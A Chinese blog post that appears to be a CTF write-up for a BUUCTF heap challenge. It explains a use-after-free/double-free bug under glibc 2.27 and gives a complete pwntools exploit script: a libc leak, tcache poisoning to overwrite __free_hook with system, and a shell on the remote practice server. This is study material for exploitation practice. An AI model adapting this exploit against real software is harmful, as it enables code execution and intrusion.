最近一直在学kernel pwn还有打各种奇奇怪怪的比赛,打的有点不尽人意,只能欺负欺负校赛。
    复现了好几道赛题,但是我都没有写博客,还有一些奇奇怪怪的栈迁移,也是一种巩固了,buu上的题目是好久没看了,这次随便找了道,不难,入门的堆题吧。
    image.png
    保护全开,ida里没啥好分析的,漏洞很明显
    image.png
    uaf,而且与程序交互的时候有一句话
    image.png
    这太明显了,double free嘛,其实小版本应该已经修复了吧,我用的Ubuntu18是已经修复的了,然后这次终于解决了没有symbol符号的问题,也不枉最近这段时间的学习。
    pwn_debug是个好东西

    1. from pwn_debug import*
    2. context.log_level='debug'
    3. pdbg = pwn_debug("ciscn_s_6")
    4. pdbg.debug("2.27")
    5. #pdbg.local("./libc-2.2764.so")
    6. pdbg.local("./libc-2.2764.so","ld-2.27.so")
    7. pdbg.remote("node4.buuoj.cn",28945)
    8. libc = ELF("libc-2.2764.so")
    9. #io = pdbg.run("local")
    10. #io = pdbg.run("debug")
    11. io = pdbg.run("remote")
    12. elf = pdbg.elf
    13. def debug():
    14. gdb.attach(io)
    15. pause()
    16. def add(size,name,call):
    17. io.sendlineafter("choice:","1")
    18. io.sendlineafter("Please input the size of compary's name",str(size))
    19. io.sendafter("please input name:",name)
    20. io.sendafter("please input compary call:",call)
    21. def show(index):
    22. io.sendlineafter("choice:","2")
    23. io.sendlineafter("Please input the index:",str(index))
    24. def free(index):
    25. io.sendlineafter("choice:","3")
    26. io.sendlineafter("Please input the index:",str(index))
    27. add(0x410,"abcd","1019")#0
    28. add(0x60,"target","0709")#1
    29. add(0x10,"/bin/sh\x00","111")#2
    30. free(0)
    31. show(0)
    32. io.recvuntil("name:")
    33. libcbase = u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-4111520
    34. log.info("libcbase-------->"+hex(libcbase))
    35. onegadget=[0x4f2c5,0x4f322,0x10a38c]
    36. free(1)
    37. free(1)
    38. payload = p64(libcbase+4118760)
    39. add(0x60,payload,"0709")
    40. #add(0x60,p64(libcbase+onegadget[0]),"101")
    41. add(0x60,"sychhh","8888")
    42. payload = libcbase+libc.sym["system"]
    43. add(0x60,p64(payload),"8888")
    44. # debug()
    45. io.sendline("3")
    46. io.sendline("2")
    47. io.interactive()